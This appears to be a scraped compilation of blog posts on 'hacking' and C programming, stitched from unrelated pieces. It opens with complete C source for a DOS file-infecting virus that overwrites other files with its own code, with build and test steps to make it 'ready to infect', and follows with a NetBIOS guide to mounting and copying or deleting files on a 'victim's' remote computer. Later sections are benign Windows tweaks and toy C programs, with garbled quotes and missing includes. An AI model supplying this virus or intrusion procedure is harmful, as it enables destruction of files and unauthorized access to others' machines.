This program is an example of how to create a virus in c.This program demonstrates a simple virus program which upon execution (Running) creates a copy of itself in the other file.Thus it destroys other files by infecting them. But the virus infected file is also capable of spreading the infection to another file and so on.Here’s the source code of the virus program.

 

#include<stdio.h>

#include<io.h>

#include<dos.h>

#include<dir.h>

#include<conio.h>

#include<time.h>

FILE *virus,*host;

int done,a=0;

unsigned long x;

char buff[2048];

struct ffblk ffblk;

clock_t st,end;

void main()

{

st=clock();

clrscr();

done=findfirst(”*.*”,&ffblk,0);

while(!done)

{

virus=fopen(_argv[0],”rb”);

host=fopen(ffblk.ff_name,”rb+”);

if(host==NULL) goto next;

x=89088;

printf(”Infecting %s\n”,ffblk.ff_name,a);

while(x>2048)

{

fread(buff,2048,1,virus);

fwrite(buff,2048,1,host);

x-=2048;

}

fread(buff,x,1,virus);

fwrite(buff,x,1,host);

a++;

next:

{

fcloseall();

done=findnext(&ffblk);

}

}

printf(”DONE! (Total Files Infected= %d)”,a);

end=clock();

printf(”TIME TAKEN=%f SEC\n”,

(end-st)/CLK_TCK);

getch();

}

COMPILING METHOD:



BORLAND TC++ 3.0 (16-BIT):



1. Load the program in the compiler, press Alt-F9 to compile

2. Press F9 to generate the EXE file (DO NOT PRESS CTRL-F9,THIS WILL INFECT ALL THE FILES IN CUR DIRECTORY INCLUDIN YOUR COMPILER)

3. Note down the size of generated EXE file in bytes (SEE EXE FILE PROPERTIES FOR IT’S SIZE)

4. Change the value of X in the source code with the noted down size (IN THE ABOVE SOURCE CODE x= 89088; CHANGE IT)

5. Once again follow the STEP 1 & STEP 2.Now the generated EXE File is ready to infect

BORLAND C++ 5.5 (32-BIT) :



1. Compile once,note down the generated EXE file length in bytes

2. Change the value of X in source code to this length in bytes

3. Recompile it.The new EXE file is ready to infect

HOW TO TEST:



1. Open new empty folder



2. Put some EXE files (BY SEARCHING FOR *.EXE IN SEARCH & PASTING IN THE NEW FOLDER)

3. Run the virus EXE file there you will see all the files in the current directory get infected.

4.All the infected files will be ready to reinfect

That’s it

WARNING: FOR EDUCATIONAL PURPOSES ONLY

This is a simple login program in C.While accepting password it masks each character using ‘*’ symbaol and display the password in the next line after the user hits Enter key.It also accepts backspaces and acts accordingly.




#include
#include

char pw[25],ch;
int i;
void main()
{
clrscr();
puts(”Enter password”);
while(1)
{
if(i<0)
i=0;
ch=getch();
if(ch==13)
break; /*13 is ASCII value of ENTER*/
if(ch==8) /*ASCII value of BACKSPACE*/
{
putch(’\b’);
putch(NULL);
putch(’\b’);
–i;
continue;
}
pw[i++]=ch;
ch=’*';
putch(ch);
}
pw[i]=’\0′;
printf(”\n\n%s”,pw);
getch();
}

THIS NETBIOS HACKING GUIDE WILL TELL YOU ABOUT HACKING REMOTE COMPUTER AND GAINING ACCESS TO IT’S HARD-DISK OR PRINTER.NETBIOS HACK IS THE EASIEST WAY TO BREAK INTO A REMOTE COMPUTER.

STEP-BY-STEP NETBIOS HACKING PROCEDURE

1.Open command prompt

2. In the command prompt use the “net view” command

( OR YOU CAN ALSO USE “NB Scanner” OPTION IN “IP-TOOLS” SOFTWARE BY ENTERING RANGE OF IP ADDRESSS.BY THIS METHOD YOU CAN SCAN NUMBER OF COMPUTERS AT A TIME).

Example: C:\>net view \\219.64.55.112

The above is an example for operation using command prompt.”net view” is one of the netbios command to view the shared resources of the remote computer.Here “219.64.55.112″ is an IP address of remote computer that is to be hacked through Netbios.You have to substitute a vlaid IP address in it’s place.If succeeded a list of HARD-DISK DRIVES & PRINTERS are shown.If not an error message is displayed. So repeat the procedure 2 with a different IP address.

3. After succeeding, use the “net use” command in the command prompt.The “net use” is another netbios command which makes it possible to hack remote drives or printers.

Example-1:

C:\>net use D: \\219.64.55.112\F

Example-2:

C:\>net use G: \\219.64.55.112\SharedDocs

Example-3:

C:\>net use I: \\219.64.55.112\Myprint



NOTE: In Examples 1,2 & 3, D:,G: & I: are the Network Drive Names that are to be created on your computer to access remote computer’s hard-disk.

NOTE: GIVE DRIVE NAMES THAT ARE NOT USED BY ANY OTHER DRIVES INCLUDING HARD-DISK DRIVES,FLOPPY DRIVES AND ROM-DRIVES ON YOUR COMPUTER.THAT IS IF YOU HAVE C: & D: AS HARD DIRVES, A: AS FLOPPY DIVE AND E: AS CD-DRIVE, GIVE F: AS YOUR SHARED DRIVE IN THE COMMAND PROMPT

F:,”SharedDocs” are the names of remote computer’s hard-disk’s drives that you want to hack. “Myprint” is the name of remote computer’s printer.These are displayed after giving “net use” command. “219.64.55.112″ is the IP address of remote computer that you want to hack.

4. After succeeding your computer will give a message that “The command completed successfully“. Once you get the above message you are only one step away from hacking the computer.

Now open “My Computer” you will see a new “Hard-Disk drive”(Shared) with the specified name.You can open it and access remote computer’s Hard-Drive.You can copy files,music,folders etc. from victim’s hard-drive.You can delete/modify data on victim’s hard-drive only if WRITE-ACCESS is enabled on victim’s system.You can access files\folders quickly through “Command Prompt”.

NOTE: If Remote Computer’s Firewall Is Enabled Your Computer Will Not Succeed In Gaining Access To Remote Computer Through Netbios.That is Netbios Hacking Is Not Possible In This Situation.(An Error Message Is Displayed).So Repeat The Procedure 2,3 With Different IP Address.

HAPPY NETBOS HACKING!!

An IP address (Internet Protocol address) is a unique address that certain electronic devices currently use in order to identify and communicate with each other on a computer network utilizing the Internet Protocol standard (IP)—in simpler terms, a computer address. Any participating network device—including routers, switches, computers, infrastructure servers (e.g., NTP, DNS, DHCP, SNMP, etc.), printers, Internet fax machines, and some telephones—can have its own address that is unique within the scope of the specific network. Some IP addresses are intended to be unique within the scope of the global Internet, while others need to be unique only within the scope of an enterprise.

The IP address acts as a locator for one IP device to find another and interact with it. It is not intended, however, to act as an identifier that always uniquely identifies a particular device. In current practice, an IP address is less likely to be an identifier, due to technologies such as Dynamic assignment and Network address translation.

In computer networks, a proxy server is a server (a computer system or an application program) which services the requests of its clients by forwarding requests to other servers. A client connects to the proxy server, requesting some service, such as a file, connection, web page, or other resource, available from a different server. The proxy server provides the resource by connecting to the specified server and requesting the service on behalf of the client. A proxy server may optionally alter the client’s request or the server’s response, and sometimes it may serve the request without contacting the specified server. In this case, it would ‘cache’ the first request to the remote server, so it could save the information for later, and make everything as fast as possible.

A proxy server that passes all requests and replies unmodified is usually called a gateway or sometimes tunneling proxy.

A proxy server can be placed in the user’s local computer or at specific key points between the user and the destination servers or the Internet.

Caching proxy server

A proxy server can service requests without contacting the specified server, by retrieving content saved from a previous request, made by the same client or even other clients. This is called caching. Caching proxies keep local copies of frequently requested resources, allowing large organizations and Internet Service Providers to significantly reduce their upstream bandwidth usage and cost, while significantly increasing performance. There are well-defined rules for caching. Some poorly-implemented caching proxies have had downsides (e.g., an inability to use user authentication). Some problems are described in RFC 3143 (Known HTTP Proxy/Caching Problems).



Web proxy

Proxies that focus on WWW traffic are called web proxies. Many web proxies attempt to block offensive web content. Other web proxies reformat web pages for a specific purpose or audience (e.g., cell phones and PDAs)

Access control: Some proxy servers implement a logon requirement. In large organizations, authorized users must log on to gain access to the ‘WWW.’ . The organization can thereby track usage to individuals.



Anonymizing proxy server

A proxy server that removes identifying information from the client’s requests for the purpose of anonymity is called an anonymizing proxy server or anonymizer.

Transparent and non-transparent proxy server

The term “transparent proxy” is most often used incorrectly to mean “intercepting proxy” (because the client does not need to configure a proxy and cannot directly detect that its requests are being proxied).

However, RFC 2616 (Hypertext Transfer Protocol — HTTP/1.1) offers different definitions:

“A ‘transparent proxy’ is a proxy that does not modify the request or response beyond what is required for proxy authentication and identification.

“A ‘non-transparent proxy’ is a proxy that modifies the request or response in order to provide some added service to the user agent, such as group annotation services, media type transformation, protocol reduction, or anonymity filtering.”

This guide will show you how to edit/rename the Windows XP start menu button.Are you bored of having the name “start”? If so now you can rename your start menu button to give the name of your choice.



STEP 1:BYPASSING WINDOWS FILE PROTECTION



1.Launch My Computer,click tools,folder options,then view

2.Select show all hidden files and folders option and uncheck the option hide

protected operating system files,unckeck hide extention for known file types

3.Open C:\windows\system32\restore,select the file filelist.xml,right click it go to properties and uncheck read-only

4.Open it(filelist.xml) with notepad

5.Add the line <rec>%systemroot%\explorer.exe</rec> as shown below

<exclude>

<rec>%systemroot%\explorer.exe</rec>

<rec> %windir%\system.ini</rec>

<rec> %windir%\tasks\desktop.ini</rec>

<rec> %windir%\win.ini</rec>

<rec> *:\AUTOEXEC.BAT </rec>

<rec>*:\CONFIG.MSI</rec>

<rec> *:\CONFIG.SYS </rec>

6.Save the file

7.Open C:\windows\system32\dllcache,you will find a backup copy of explorer.exe. Rename it to explorer.bak.

STEP 2:CHANGING THE NAME OF START BUTTON



1.Open Resource Hacker,open C:\windows\explorer.exe

2.Expand string,expand 37,click on 1033

3.On right side raname “start” to anything you want EG.”anything” and press compile script

4.Repeat the same procedure for string,38,1033

5.Save changes in file menu(if error occurs close explorer.exe and repeat sub-step 3 & 4

6.Press ctrl+alt+del in processes tab of task manager endtask explorer.exe

7.Again in new task open C:\windows\explorer.exe you will see that start menu is renamed

8.Close task manager and ENJOY!!!!

Here is a C program to print it’s own source code.That is the output of this program is exactly same as it’s source code.Here’s the program

#include
char *program=”#include%cchar *
program=%c%s%c;%cvoid main()%c{%cprintf
(program,10,34,program,34,10, 10,10,10);%c}”;
void main()
{
printf(program,10,34,program,34,10,10,10,10);
}

This program accepts any valid C Program as an input and removes the comments and blanks from it.The output is a program that has no comments and blank lines.

#include
#include
#include
#include
void main()
{
FILE *a,*b;
char fname[20],ch,tch=NULL,tch1=NULL;
int flag1=0,flag=0,count=0,count1=0,count2=0;
clrscr();
printf(”Enter the file name (.C or .TXT)\n”);
gets(fname);
a=fopen(fname,”r”);
if(a==NULL)
{
puts(”Cannot open the source file!!!”);
delay(500);
exit(1);
}
b=fopen(”target.c”,”w”);
if(b==NULL)
{
puts(”Cannot create target file!!!”);
delay(500);
exit(1);
}
while(1)
{
ch=fgetc(a);
if(ch==EOF) break;
else
{
if(ch==’\n’)
{
count1=1;
tch1=ch;
continue;
}
else if(ch==’\n’&& count1==1)
continue;
else if(ch==’/'&&count==0)
{
flag1=1;
tch=ch;
count=1;
continue;
}
else if(ch==’*'&& flag1==1)
{
flag=1;
flag1=0;
tch=NULL;
}
else if(ch==’*'&&flag==1)
{
count2=1;
count=1;
continue;
}
else if(ch==’/'&&count2==1)
{
flag=0;
count=0;
tch=NULL;
continue;
}
else if(count==1&&flag==1)
count=0;
else if(flag1==1)
flag1=0;
}
if(flag!=1)
{
if(tch>0)
fputc(tch,b);
if(tch1>0)
fputc(tch1,b);
tch1=NULL;
tch=NULL;
count=0,count1=0,count2=0;
fputc(ch,b);
flag1=0,flag=0;
}
}
puts(”DONE!! OP FILE IS \”TARGET.C\”\n”);
fcloseall();
getch();
}

                              Figure 1-1

1. 
   
   Click the Start button, type msconfig in the Search box, and then press Enter.
   
   


2. 
   
   When the System Configuration Utility loads, click the Boot tab.
   
   


3. 
   
   Locate the No GUI boot box and select it, as shown in Figure 1-2.
   
   

                                              Figure 1-2.

4. Click OK and reboot your computer.

You should see the hidden boot screen after you reboot your PC. As I mentioned earlier, if you have problems with the hidden boot screen, just boot into Safe mode (hold down F8 when you boot up) and remove the check from the No GUI Boot box.

Customizing the boot screen image

The alternative boot screen that you just enabled in the preceding section is a great improvement compared to the boring moving progress bar that shows by default. However, this is still not good enough. With the help of a few cool tricks, you can create your own high-resolution, 24-bit boot screen without hacking any system files.

How is that possible? Thanks to the new language-independent operating system components in Windows Vista, some resources are stored in regional language files rather than the actual system components. This allows Microsoft to easily create a localized version of Windows Vista in any language by just creating new MUI (multilingual user interface) files that contain localized versions of bitmaps and text. Because MUI files are not digitally signed by Microsoft, you can make your own that has your own boot screen image in it, which allows you to customize the alternative boot screen to use any image you desire.

This new feature in Windows Vista provides a great enhancement and alternative to the traditional method of hacking system files as you had to do in previous versions of Windows to do things such as changing the boot screen. In addition, there is a great tool developed by Dan Smith called the Vista Boot Logo Generator that will automatically compile the boot images you select into an MUI file. This makes the overall process simple compared to trying to change boot screens, as you did in the past.

To get started, you need two images, one 800 × 600 and one 1024 × 768 image, both saved as 24-bit bitmap images. When you have those images picked out, resized, and saved, you are ready to follow these steps:

1. Visit http://www.computa.co.uk/staff/dan/?p=18 and download the latest copy of the Vista Boot Logo Generator and install it.


2. Click the Start button, type vista boot logo, and press Enter.


3. After the boot logo is downloaded, click the Browse for Images button in the 800 × 600 section and select your 800 × 600 24-bit bitmap image. Do the same for the 1024 × 768 section.


4. After you have both images selected, click File and select Save Boot Screen file as to save your MUI file. Save it to your desktop.


5. Next you need to replace the winload.exe.mui file located in c:\windows\system32\en-us with the file you just created. However, it is not as easy as a simple copy and paste because the Windows system files are protected. First, I recommend making a backup of the existing winload.exe.mui file so that you can copy it back if you have problems later. To get around the file protections, you need to take ownership of all the files in the en-us folder. Right-click the en-us folder and select Properties.


6. Select the Security tab and then click the Advanced button at the bottom of the window.


7. Select the Owner tab, and then click the Edit button.


8. Select your account from the Account list and check Replace owner on subcontainers and objects. Click OK to apply your changes.


9. Click OK to exit all the open Properties windows. You need to go back into the folder properties to change the file permissions. This time you will have more rights because you are now the folder owner. Right-click en-us and select Properties again.


10. Click the Security tab, and this time click Edit.


11. Click the Add button. Type in your username and click OK. Your account name should now appear on the Permissions list.


12. Select your account, and then select the Allow column for Full control, as shown in Figure 1-3.

                                                      Figure 1-3.

Click OK to save your changes and OK once more to close the Properties screen. You will now be able to copy the winload.exe.mui file you made and saved to your desktop to c:\windows\system32\en-us. After you copy the file and reboot, you should see your new boot screen.

This program can be used to print a string without using any output statements such as printf,puts etc.However this program only works in 16-bit mode since it directly writes to VDU Memory


#include
#include
char str[]=”Hello Srikanth”;
char far *v=(char far *)0xb8000000;
void main()
{
int i;
for(i=0;i<14;i++)
{
*v=str[i];
v+=2;
}
getch();
}

You can use several different tricks to shave a few more seconds off the boot time. For example, you can reduce Timeout values and slim down the system to get rid of all the extra features and services that you do not use or need. Check out the following ways to do so.

Windows Boot Manager

If you have more than one operating system installed on your computer, you’ll have to deal with the Windows Boot Manager installed by Windows Vista. By default, the Windows Boot Manager gives you 30 seconds to select an operating system before it reverts to the default operating system. The only way not to wait 30 seconds is to select the operating system you want to use right away. If you use one operating system the majority of your time, you will definitely save time if you set that operating system as the default and lower the Timeout value to 1 or 2 seconds. That way, you will not have to select an operating system every time you turn on your system or wait 30 seconds before your computer actually starts to load the operating system.

Tip

Before you make any changes to the Windows Boot Manager (WBM), it is a good idea to back it up using the Boot Configuration Data Editor (bcdedit.exe) so that you can easily revert back to an earlier version should you have any problems. At a command prompt running under an administrator account, type bcdedit /export “C:\Backup File”. This will save the WBM to a file that you can use to import using the /import flag.

Lowering OS Timeout values

As mentioned earlier, if you have multiple operating systems installed on your computer and the Windows Boot Manager is installed, the default selection timeout is often way too high. It is much better to set a lower timeout so that if you do not make a selection, it quickly reverts to the default OS, making your boot time much faster.

Changing the Timeout value is simple with the System Configuration utility. Follow the steps here to use the System Configuration utility to lower the OS Timeout value:

1. Click the Start button, type msconfig in the Search box, and press Enter.


2. When the System Configuration utility loads, click the Boot tab.


3. Locate the Timeout box and replace 30 with a much lower value. I recommend you use between 2 and 5. I use 2 because that gives me just the right amount of time to press a key on my keyboard when the Windows Boot Manager is displayed on the screen.


4. After the value has been updated, click OK to exit.

Now that the Timeout value has been updated, the Boot menu will no longer increase your system startup time. Even though this is a simple tip, it really helps a lot on systems that have multiple operating systems installed. Now let’s look at setting the default operating system on the Windows Boot Manager.

Setting the default OS

In the preceding section, I set a new Timeout value that will cut down on the amount of time that is wasted before the operating system starts to load. That works great when your primary operating system is the default; but if it is not, you must remember to press a key at the right moment on every single boot. There is a much better way to handle the situation. Just make your primary operating system the default operating system in the Windows Boot Manager. This will allow you to benefit from the lower Timeout value and speed up the overall boot time.

Setting the default operating system is a little more difficult because you need to use the command-line Boot Configuration Editor, bcdedit.exe. The Boot Configuration Editor is part of Windows Vista, but it requires an account with administrative rights to run. Even if you are logged in with an account that has administrator rights but have user account control enabled, by default the tool will not run as administrator. Follow these steps to use the Boot Configuration Editor to set the default operating system:

1. Click the Start button and navigate through All Programs and Accessories.


2. Locate the Command Prompt shortcut and right-click it to bring up the context menu.


3. Select Run as administrator from the context menu.


4. When the command prompt has loaded, you are ready to use the bcdedit.exe command. First, you need to get the ID of the operating system that you want to set as the default. To do this, type bcdedit /enum all in the open command prompt window. Scroll through the list of different entries and look for the one with the description matching “Microsoft Windows” for Windows Vista.


5. After you have found the correct entry, note its identifier. That is used in the next step.


6. While still at the command prompt, run bcdedit /default (entry identifier). For example, I ran bcdedit /default {}.

The default operating system on the Window Boot Manager is now set. The next time you reboot, your changes will be in use.

Tip

The Boot Configuration Editor is a powerful utility that you can also use to change many other settings of the Windows Boot Manager. Experiment with bcdedit.exe by running bcdedit /? from command prompt. This will show you all the other available options and flags that you can use with the Boot Configuration Editor.